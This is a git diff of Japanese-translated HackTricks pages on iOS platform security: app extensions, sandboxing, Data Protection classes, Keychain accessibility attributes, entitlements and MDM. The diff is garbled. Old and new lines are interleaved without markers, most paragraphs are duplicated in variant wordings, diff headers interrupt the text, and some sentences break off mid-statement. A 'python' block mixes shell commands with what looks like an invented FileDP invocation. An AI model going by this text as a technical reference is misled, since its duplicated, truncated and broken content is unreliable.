- **Todayウィジェット**は、特定の方法を使用してそのアプリに開くように要求できる点がユニークです。
- 共有データへのアクセスはプライベートコンテナ内で許可されていますが、直接アクセスは制限されています。
- HealthKitなどの特定のAPIはアプリ拡張機能では使用できず、iMessage拡張機能を除いて、長時間実行されるタスクを開始したり、カメラやマイクにアクセスしたりすることはできません。
### 静的解析
#### **アプリ拡張機能の特定**
ソースコード内でアプリ拡張機能を見つけるには、Xcodeで`NSExtensionPointIdentifier`を検索するか、拡張機能を示す`.appex`ファイルをアプリバンドルで調査します。ソースコードがない場合は、grepやSSHを使用してこれらの識別子をアプリバンドル内で見つけます。
#### **サポートされるデータタイプ**
拡張機能の`Info.plist`ファイルをチェックして、`NSExtensionActivationRule`を確認して、サポートされるデータタイプを特定します。このセットアップにより、ホストアプリでのみ互換性のあるデータタイプが拡張機能をトリガーするようになります。
#### **データ共有**
アプリとその拡張機能間のデータ共有には、"App Groups"を介して設定された共有コンテナが必要であり、`NSUserDefaults`を介してアクセスされます。この共有スペースは、拡張機能によって開始されるバックグラウンド転送に必要です。
#### **拡張機能の制限**
アプリは特定の拡張機能タイプ、特にカスタムキーボードを制限することができ、機密データの取り扱いがセキュリティプロトコルと一致するようにします。
### 動的解析
動的解析には次のものが含まれます:
- **共有アイテムの検査**`NSExtensionContext - inputItems`にフックして、共有されたデータタイプと起源を確認します。
- **拡張機能の特定**`NSXPCConnection`などの内部メカニズムを観察して、どの拡張機能がデータを処理しているかを発見します。
`frida-trace`などのツールは、特にプロセス間通信の技術的な詳細に興味がある人々に、基礎となるプロセスを理解するのに役立ちます。
## 参考文献
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -1,96 +1,88 @@
```markdown
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する
</details>
# 特権分離とサンドボックス
# 権限分離とサンドボックス
iOSでは、ユーザーがアクセスできるアプリケーションとシステムのコアプロセスとの間に特権の区別が存在します。アプリケーションは**`mobile`**ユーザーIDで実行され、重要なシステムプロセスは**`root`**として動作します。この分離は、アプリケーションが実行できるアクションに厳しい制限を課すサンドボックスメカニズムによって強化されています。たとえアプリケーションが同じユーザーIDを共有していても、お互いのデータにアクセスしたり変更したりすることは禁止されています。
ユーザーがアクセスできるアプリケーションは**mobile**ユーザーとして実行され、重要なシステムプロセスは**root**として実行されます。\
しかし、サンドボックスはプロセスとアプリケーションが実行できるアクションをより良く制御することを可能にします。
例えば、同じユーザーmobileとして実行されている2つのプロセスであっても、**お互いのデータにアクセスしたり変更したりすることは許可されていません**。
各アプリケーションは**`private/var/mobile/Applications/{random ID}`**の下にインストールされます。\
インストール後、アプリケーションはシステムの一部のエリアと機能SMS、電話通話などに対して限定的な読み取りアクセスを持ちます。アプリケーションが**保護されたエリア**にアクセスしたい場合、**許可を求めるポップアップ**が表示されます。
アプリケーションは特定のディレクトリ(`private/var/mobile/Applications/{ランダムID}`にインストールされ、特定のシステム領域や機能SMSや電話への読み取りアクセスが制限されています。保護された領域へのアクセスは、ユーザーの許可を求めるポップアップリクエストをトリガーします。
# データ保護
アプリ開発者はiOSの_Data Protection_ APIを利用して、フラッシュメモリに保存されたユーザーデータの**細かいアクセス制御**を実装することができます。APIは**Secure Enclave Processor**SEPの上に構築されています。SEPは、データ保護とキー管理のための**暗号化操作を提供する**コプロセッサーです。デバイス固有のハードウェアキーである**デバイスUID**ユニークIDは**セキュアエンクレーブに埋め込まれており**、オペレーティングシステムのカーネルが侵害された場合でもデータ保護の完全性を保証します。
iOSは、Secure Enclave ProcessorSEPの上に構築された**Data Protection APIs**を開発者に提供しています。SEPは、暗号操作とキー管理のための専用コプロセッサであり、デバイス固有のキーであるデバイスUIDを内蔵してデータ保護の整合性を確保します。
**ファイルがディスク上に作成される**と、セキュアエンクレーブのハードウェアベースの乱数生成器の助けを借りて新しい**256ビットAESキーが生成されます**。その後、**ファイルの内容は生成されたキーで暗号化されます**。そして、この**キーはクラスキーで暗号化されて保存されます**、**クラスID**と共に、**両方のデータはシステムのキーで暗号化されて**、ファイルの**メタデータ**内にあります。
ファイル作成時には、ユニークな256ビットAES暗号化キーが生成され、ファイルの内容が暗号化されます。この暗号化キーとクラスIDは、クラスキーを使用して暗号化され、ファイルのメタデータ内に保存されます。ファイルを復号化するには、システムキーを使用してメタデータにアクセスし、クラスIDでクラスキーを取得し、ファイルのユニークな暗号化キーを復号化する必要があります。
![](<../../.gitbook/assets/image (473).png>)
iOSでは、データセキュリティのために**4つの保護クラス**が定義されており、データにいつ、どのようにアクセスできるかが決定されます:
ファイルを復号化するためには、**メタデータをシステムのキーを使用して復号化します**。その後、**クラスIDを使用して** **クラスキーを取得し**、ファイルキーを復号化してファイルを復号化します。
- **完全保護NSFileProtectionComplete**:データは、ユーザーのパスコードを使用してデバイスがロック解除されるまでアクセスできません。
- **開かれるまで保護NSFileProtectionCompleteUnlessOpen**:デバイスがロックされていても、ファイルがデバイスがロック解除されたときに開かれていた場合はファイルにアクセスできます。
- **最初のユーザー認証まで保護NSFileProtectionCompleteUntilFirstUserAuthentication**:ブート後の最初のユーザーアンロック後にデータにアクセスでき、デバイスが再度ロックされてもアクセス可能です。
- **保護なしNSFileProtectionNone**データはデバイスUIDによってのみ保護され、迅速なリモートデータ消去を容易にします。
ファイルは**4つの異なる保護クラス**のいずれかに割り当てることができ、これらは[Apple Platform Security Guide](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf)でより詳しく説明されています:
`NSFileProtectionNone`を除くすべてのクラスの暗号化には、デバイスUIDとユーザーのパスコードから派生したキーが使用され、正しいパスコードを持つデバイスでのみ復号化が可能であることが保証されます。iOS 7以降、デフォルトの保護クラスは「最初のユーザー認証まで保護」です。
* **完全保護 (NSFileProtectionComplete)**このクラスキーは、ユーザーパスコードとデバイスUIDから派生したキーで保護されています。派生キーはデバイスがロックされるとすぐにメモリから消去され、ユーザーがデバイスをアンロックするまでデータにアクセスできません。
* **オープンされていない限り保護 (NSFileProtectionCompleteUnlessOpen)**:この保護クラスは完全保護に似ていますが、ファイルがアンロックされた状態で開かれている場合、アプリはユーザーがデバイスをロックしてもファイルに引き続きアクセスできます。この保護クラスは、例えば、メールの添付ファイルがバックグラウンドでダウンロードされている場合に使用されます。
* **最初のユーザー認証まで保護 (NSFileProtectionCompleteUntilFirstUserAuthentication)**:ユーザーがデバイスを起動後初めてアンロックすると、ファイルにアクセスできます。ユーザーがその後デバイスをロックしても、クラスキーはメモリから削除されずにアクセスできます。
* **保護なし (NSFileProtectionNone)**この保護クラスのキーはUIDのみで保護されています。クラスキーは「Effaceable Storage」に保存されています。これはiOSデバイスのフラッシュメモリ上の領域で、少量のデータを保存することができます。この保護クラスは、リモートでの高速なワイピングクラスキーの即時削除によりデータがアクセス不可能になるのために存在します。
開発者は、iPhone上のファイルのデータ保護クラスを調査するためのツールである[**FileDP**](https://github.com/abjurato/FileDp-Source)を使用できます。
```python
# Example code to use FileDP for checking file protection class
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
# Installation and usage of FileDP:
git clone https://github.com/abjurato/FileDp-Source
cd FileDp-Source
python filedp.py /path/to/check
```
## **キーチェーン**
`NSFileProtectionNone`を除くすべてのクラスキーは、デバイスUIDとユーザーのパスコードから派生したキーで暗号化されています。その結果、復号化はデバイス自体でのみ行われ、正しいパスコードが必要です。
iOSにおいて、**キーチェーン**は、**機密情報**を安全に保存するための**暗号化されたコンテナ**として機能し、それにアクセスできるのは、それを保存したアプリケーションまたは明示的に許可されたものだけです。この暗号化は、iOSによって生成された一意の**パスワード**によって強化されており、それ自体が**AES**で暗号化されています。この暗号化プロセスは、ユーザーのパスコードをデバイスの**UID**から派生したソルトと組み合わせる**PBKDF2関数**を利用しており、このUIDは**セキュアエンクレーブチップセット**のみがアクセスできるコンポーネントです。したがって、ユーザーのパスコードがわかっていても、キーチェーンの内容は、元の暗号化が行われたデバイス以外ではアクセスできません
iOS 7以降、デフォルトのデータ保護クラスは「最初のユーザー認証まで保護」です。
キーチェーンデータの**管理とアクセス**は、**`securityd`デーモン**によって処理され、`Keychain-access-groups`や`application-identifier`などの特定のアプリ権限に基づいて行われます。
[**FileDP**](https://github.com/abjurato/FileDp-Source)は、iPhone内でアップロードして使用できるプログラムで、各ファイルの**データ保護クラスを検査**することができます。
### **キーチェーンAPI操作**
## キーチェーン
キーチェーンAPIは、[Appleのキーチェーンサービスのドキュメント](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html)で詳細に説明されており、安全なストレージ管理のための重要な機能を提供しています:
キーチェーンは、各アプリケーションが**機密情報**を**保存**できる**暗号化されたコンテナ**であり、同じアプリ(または承認されたアプリ)のみが内容を取得できます。\
iOSは**キーチェーンのパスワードを自身で生成**し、このキーの**暗号化されたバージョンをデバイスに保存**します。このパスワードはAESを使用して暗号化され、AESキーは**ユーザーのパスコード + 塩**(デバイス上のセキュア**エンクレーブチップセットにのみアクセス可能な256ビットのUID**)の**PBKDF2**関数によって作成されます。このデバイスUIDを塩として使用するため、デバイスはユーザーのパスコードを知っていても別のデバイスのキーチェーンを復号化することはできません。
- **`SecItemAdd`**: キーチェーンに新しいアイテムを追加します。
- **`SecItemUpdate`**: キーチェーン内の既存のアイテムを更新します。
- **`SecItemCopyMatching`**: キーチェーンからアイテムを取得します。
- **`SecItemDelete`**: キーチェーンからアイテムを削除します。
キーチェーンへのアクセスは、アプリの`Keychain-access-groups`、`application-identifier`、および`application-group`の権限に従って**`securityd`**デーモンによって管理されます。
キーチェーンのパスワードをブルートフォースするには、暗号化されたキーを直接攻撃するか、デバイス自体でパスコードを推測する必要がありますが、セキュアエンクレーブが失敗した試行の間に遅延を強制するため、大幅に妨げられます。
[Keychain API](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html)には、以下の主な操作が含まれています:
### **キーチェーンアイテムデータ保護の設定**
* `SecItemAdd`
* `SecItemUpdate`
* `SecItemCopyMatching`
* `SecItemDelete`
キーチェーンアイテムのデータ保護レベルは、アイテムの作成または更新時に`kSecAttrAccessible`属性を使用して設定されます。これらのレベルは、[Appleによって指定されているように](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100)、キーチェーンアイテムがいつ、どのようにアクセス可能かを決定します:
このパスワードをBFブルートフォースしようとする唯一の方法は、暗号化されたキーをダンプしてパスコード + 塩をBFすることです**pbkdf2**関数は**少なくとも10000回のイテレーションを使用します**。または、塩をBFすることを避けるために**デバイス内でBFを試みる**ことですが、セキュアエンクレーブは2回の失敗したパスワード試行の間に少なくとも**5秒の遅延があることを保証します**。
- **`kSecAttrAccessibleAlways`**: デバイスのロック状態に関係なくいつでもアクセス可能です。
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: 常にアクセス可能ですが、バックアップに含まれません。
- **`kSecAttrAccessibleAfterFirstUnlock`**: 再起動後の最初のアンロック後にアクセス可能です。
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: 上記と同様ですが、新しいデバイスに移行できません。
- **`kSecAttrAccessibleWhenUnlocked`**: デバイスがアンロックされているときのみアクセス可能です。
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: アンロックされているときにのみアクセス可能で、バックアップに含まれません。
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: デバイスのパスコードが必要で、バックアップに含まれません。
`SecItemAdd`または`SecItemUpdate`の呼び出しで`kSecAttrAccessible`キーを設定することにより、**キーチェーン項目のデータ保護を構成**できます。以下は、[kSecAttrAccessibleのアクセシビリティ値](https://developer.apple.com/documentation/security/keychain\_services/keychain\_items/item\_attribute\_keys\_and\_values#1679100)であり、キーチェーンデータ保護クラスです:
**`AccessControlFlags`**は、生体認証やパスコードの使用を許可するなど、アクセス方法をさらに細かく調整します。
* **`kSecAttrAccessibleAlways`**: キーチェーン項目のデータは、デバイスがロックされているかどうかに関わらず、**常にアクセスできます**。
* **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: キーチェーン項目のデータは、デバイスがロックされているかどうかに関わらず、**常にアクセスできます**。データはiCloudやローカルバックアップには**含まれません**。
* **`kSecAttrAccessibleAfterFirstUnlock`**: ユーザーがデバイスを一度アンロックするまで、キーチェーン項目のデータにはアクセスできません。
* **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: ユーザーがデバイスを一度アンロックするまで、キーチェーン項目のデータにはアクセスできません。この属性を持つ項目は新しいデバイスには移行しません。したがって、別のデバイスのバックアップから復元した後、これらの項目は存在しません。
* **`kSecAttrAccessibleWhenUnlocked`**: ユーザーがデバイスをアンロックしている間のみ、キーチェーン項目のデータにアクセスできます。
* **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: ユーザーがデバイスをアンロックしている間のみ、キーチェーン項目のデータにアクセスできます。データはiCloudやローカルバックアップには**含まれません**。
* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: デバイスがアンロックされているときのみ、キーチェーンのデータにアクセスできます。この保護クラスは、デバイスにパスコードが設定されている場合にのみ**利用可能です**。データはiCloudやローカルバックアップには**含まれません**。
**`AccessControlFlags`**は、キーを認証するためにユーザーが使用できるメカニズムを定義します(`SecAccessControlCreateFlags`
* **`kSecAccessControlDevicePasscode`**: パスコードを介してアイテムにアクセスします。
* **`kSecAccessControlBiometryAny`**: Touch IDに登録されている指紋のいずれかを介してアイテムにアクセスします。指紋を追加または削除してもアイテムは無効になりません。
* **`kSecAccessControlBiometryCurrentSet`**: Touch IDに登録されている指紋のいずれかを介してアイテムにアクセスします。指紋を追加または削除するとアイテムは無効になります。
* **`kSecAccessControlUserPresence`**: 登録されている指紋のいずれかTouch IDを使用を介してアイテムにアクセスするか、デフォルトでパスコードに切り替えます。
Touch ID`kSecAccessControlBiometryAny`または`kSecAccessControlBiometryCurrentSet`を介してによって保護されたキーは、Secure Enclaveによって保護されていることに注意してください。キーチェーンはトークンのみを保持し、実際のキーはSecure Enclaveにあります。
iPhoneは、デバイスのアンロックにユーザーが導入したパスコードを使用して、キーチェーン内の秘密を復号化します。
iOSは_**AppIdentifierPrefix**_チームIDと_**BundleIdentifier**_開発者によって提供されるを使用して、キーチェーン項目への**アクセス制御を強制します**。その後、同じチームは**2つのアプリがキーチェーン項目を共有するように構成**できます。
バックアッププロセスが開始されると、バックアップされたキーチェーン**データは暗号化されたままであり、キーチェーンのパスワードはバックアップに含まれません**。
### **Jailbrokenデバイスの警告**
{% hint style="warning" %}
**脱獄されたデバイスでは、キーチェーンは保護
```objectivec
**Jailbrokenデバイス**では、キーチェーンの保護が妨げられ、重大なセキュリティリスクが発生します。
{% endhint %}
### **キーチェーンデータの永続性**
アプリ固有のデータがアプリのアンインストール時に削除されるのとは異なり、**キーチェーンデータは**デバイスに**永続します**。この特性により、中古のデバイスの新しい所有者がアプリを再インストールするだけで、以前の所有者のアプリケーションデータにアクセスできる可能性があります。このリスクを軽減するために、開発者はアプリのインストール時またはログアウト時にキーチェーンデータを積極的にクリアすることが推奨されています。以下は、最初のアプリ起動時にキーチェーンデータをクリアする方法を示すSwiftのコード例です:
```swift
let userDefaults = UserDefaults.standard
if userDefaults.bool(forKey: "hasRunBefore") == false {
@ -101,102 +93,59 @@ userDefaults.set(true, forKey: "hasRunBefore")
userDefaults.synchronize() // Forces the app to update UserDefaults
}
```
* iOSアプリケーションのログアウト機能を開発する際には、アカウントログアウトの一部としてKeychainデータが消去されるようにしてください。これにより、ユーザーはアプリケーションをアンインストールする前に自分のアカウントをクリアすることができます。
# **アプリの機能**
**各アプリにはユニークなホームディレクトリがあり、サンドボックス化されています**。これにより、保護されたシステムリソースやシステムや他のアプリによって保存されたファイルにアクセスすることができません。これらの制限はサンドボックスポリシー(別名 _プロファイル_)を介して実装され、[Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html)によるカーネル拡張を通じて強制されます。
アプリ開発の世界では、**sandboxing** がセキュリティを強化する上で重要な役割を果たします。このプロセスにより、各アプリが独自のホームディレクトリ内で動作することが保証され、システムファイルや他のアプリのデータへのアクセスが防止されます。これらの制限は、**Trusted BSD (MAC) Mandatory Access Control Framework** の一部である sandbox ポリシーによって施行されます。
いくつかの[**機能/権限**](https://help.apple.com/developer-account/#/dev21218dfd6)はアプリの開発者によって設定されデータ保護やKeychain共有、インストール後すぐに効果があります。しかし、他の権限については、**アプリが保護されたリソースにアクセスしようとする最初の時にユーザーに明示的に尋ねられます**
開発者は、**Data Protection** や **Keychain Sharing** などの特定の **機能や権限** をアプリに設定する能力を持っています。これらの権限は、アプリがインストールされた直後に適用されます。ただし、特定の保護されたリソースにアクセスするためには、アプリが最初に試みる際にユーザーから明示的な同意を得る必要があります。これは、_目的の文字列_ または _使用目的の文字列_ を使用して達成され、これらは許可リクエストアラートでユーザーに提示されます
[_目的文字列_](https://developer.apple.com/documentation/uikit/core\_app/protecting\_the\_user\_s\_privacy/accessing\_protected\_resources?language=objc#3037322)または_使用説明文字列_は、保護されたデータやリソースへのアクセス許可を求める際に、システムの権限リクエストアラートでユーザーに提示されるカスタムテキストです。
ソースコードにアクセスできる場合、`Info.plist` ファイルに含まれる権限の検証は次のように行うことができます:
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission\_request\_alert.png?alt=media)
1. Xcode でプロジェクトを開く。
2. `Info.plist` ファイルを見つけて開く。
3. `"Privacy -"` で始まるキーを検索し、明確にするために生のキー/値を表示するオプションを選択します。
元のソースコードを持っている場合、`Info.plist`ファイルに含まれる権限を確認できます:
IPA ファイルを扱う場合、次の手順に従うことができます:
* Xcodeでプロジェクトを開きます。
* デフォルトエディタで`Info.plist`ファイルを探して開き、`"Privacy -"`で始まるキーを探します。
1. IPA ファイルを解凍する。
2. `Payload/<appname>.app/` 内の `Info.plist` ファイルを見つける。
3. 必要に応じてファイルを XML 形式に変換して、簡単に検査できるようにします。
右クリックして「Show Raw Keys/Values」を選択することで、生の値を表示するビューに切り替えることができますこの方法で例えば`"Privacy - Location When In Use Usage Description"`は`NSLocationWhenInUseUsageDescription`に変わります)。
IPAしか持っていない場合
* IPAを解凍します。
* `Info.plist`は`Payload/<appname>.app/Info.plist`に位置しています。
* 必要に応じて変換します(例:`plutil -convert xml1 Info.plist`。「iOS Basic Security Testing」の章、「The Info.plist File」のセクションで説明されているように。
* _目的文字列 Info.plistキー_をすべて検査します。通常は`UsageDescription`で終わります:
```markup
たとえば、`Info.plist` ファイル内の目的の文字列は次のようになる可能性があります:
```xml
<plist version="1.0">
<dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>あなたの位置情報は、目的地までのターンバイターンのナビゲーションを提供するために使用されます。</string>
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
```
## デバイスの機能
デバイスの機能は、App Storeによって互換性のあるデバイスのみがリストされ、アプリのダウンロードが許可されることを保証するために使用されます。これらはアプリの`Info.plist`ファイルの[`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities)キーの下で指定されます。
```markup
アプリの`Info.plist`ファイルは、App Storeがデバイスの互換性に基づいてアプリをフィルタリングするのに役立つ**デバイスの機能**を指定します。これらは**`UIRequiredDeviceCapabilities`**キーの下で定義されています。たとえば:
```xml
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
```
通常、`armv7` 機能が見つかります。これは、アプリが armv7 命令セットのみに対してコンパイルされていることを意味します。または、32/64ビットのユニバーサルアプリの場合もあります。
## 権限
例えば、アプリが NFC に完全に依存している場合があります(例:["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596) アプリ)。[アーカイブされた iOS デバイス互換性リファレンス](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html)によると、NFC は iPhone 7および iOS 11から利用可能です。開発者は、`nfc` デバイス機能を設定することで、互換性のないすべてのデバイスを除外することを望むかもしれません
**権限**は、iOSアプリの開発におけるもう一つの重要な側面であり、特定の操作を実行するためのアプリの許可を付与するキーと値のペアとして機能します。例えば、アプリで**データ保護**を有効にするには、Xcodeプロジェクトに特定の権限を追加し、それがアプリの権限ファイルまたはIPA用の埋め込みモバイルプロビジョンファイルに反映されます
## エンタイトルメント
> エンタイトルメントは、アプリに署名されたキーバリューペアであり、UNIX ユーザー ID などのランタイム要因を超えた認証を可能にします。エンタイトルメントはデジタル署名されているため、変更することはできません。エンタイトルメントは、システムアプリやデーモンが **ルートとして実行することを要求する特定の特権操作を実行するため** に広く使用されています。これにより、侵害されたシステムアプリやデーモンによる権限昇格の可能性が大幅に低減されます。
例えば、「デフォルトデータ保護」機能を設定したい場合、Xcode の **Capabilities** タブに移動し、**Data Protection** を有効にする必要があります。これは Xcode によって直接 `<appname>.entitlements` ファイルに `com.apple.developer.default-data-protection` エンタイトルメントとして、デフォルト値 `NSFileProtectionComplete` と共に書き込まれます。IPA では、これを `embedded.mobileprovision` で次のように見つけることができます:
```markup
<key>Entitlements</key>
<dict>
...
<key>com.apple.developer.default-data-protection</key>
<string>NSFileProtectionComplete</string>
</dict>
```
```markdown
他の機能、例えばHealthKitについては、ユーザーに許可を求める必要があるため、エンタイトルメントを追加するだけでは不十分で、アプリの`Info.plist`ファイルに特別なキーと文字列を追加する必要があります。
# Objective-CとSwiftの基礎
**Objective-C**は**動的ランタイム**を持っているため、iOSでObjective-Cプログラムが実行されると、関数の名前をメッセージで送信された名前と利用可能なすべての関数名のリストと比較して、**ランタイムでアドレスが解決される**ライブラリを呼び出します。
初めは、Appleが作成したアプリのみがiPhoneで実行されていたため、**すべてにアクセス**でき、**信頼されていました**。しかし、Appleが**第三者のアプリケーション**を**許可**したとき、Appleは開発者にそれらを「隠す」ために強力な関数のヘッダーファイルを削除しました。しかし、開発者は「安全な」関数がいくつかの文書化されていない関数を必要としていることを発見し、**文書化されていない関数の名前を含むカスタムヘッダーファイルを作成することで、これらの強力な隠された関数を呼び出すことが可能でした。** 実際に、Appleはアプリが公開される前に、これらの禁止された関数を呼び出していないかをチェックします。
その後、Swiftが登場しました。**Swiftは静的にバインドされている**ためObjective-Cのようにランタイムで関数のアドレスを解決しない、静的コード分析を通じてSwiftプログラムが行う呼び出しをより簡単にチェックできます。
# デバイス管理
iOSバージョン6から、組織が企業のAppleデバイスを制御できる細かいコントロールを備えた**デバイス管理のサポートが組み込まれています。**\
登録は、ユーザーが企業アプリにアクセスするためにエージェントをインストールすることで**ユーザーによって開始**される場合があります。この場合、デバイスは通常ユーザーに属しています。\
または、**会社が購入したデバイスのシリアル番号**または購入注文IDを指定し、それらのデバイスにインストールするMDMプロファイルを指定することができます。Appleは**特定のデバイスをこの方法で二度登録することを許可していない**ことに注意してください。最初のプロファイルが削除されると、ユーザーは別のプロファイルをインストールするための同意が必要です。
ユーザーは_**設定**_ --> _**一般**_ --> _**プロファイルとデバイス管理**_でインストールされたポリシーを確認できます。
これらのMDMポリシーは他のアプリケーションをチェックし、制限しているため、**より多くの権限を持って実行されています。**\
MDMポリシーは、**ユーザー**が**パスコード**を設定することを**強制**し、**最小限の**パスワード**複雑性**を持つことができます。\
プロファイルはデバイスIDに紐づけられ、MDMサーバーによって**署名**され、**暗号化**され、**改ざん**が**不可能**です。**企業のデータ**を**失う**ことなくは**削除**することは**できません。**\
MDMプロファイルは、X回の**失敗した**パスワード**試行**があった場合にすべての**データ**を**消去**することができます。また、**管理者**はMDMインターフェースを介していつでもiPhoneを**リモートで消去**することができます。
MDMエージェントは、iPhoneにとって非常に危険な状態である**デバイスの可能なジェイルブレイク**も**チェック**します。
# 参考文献
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
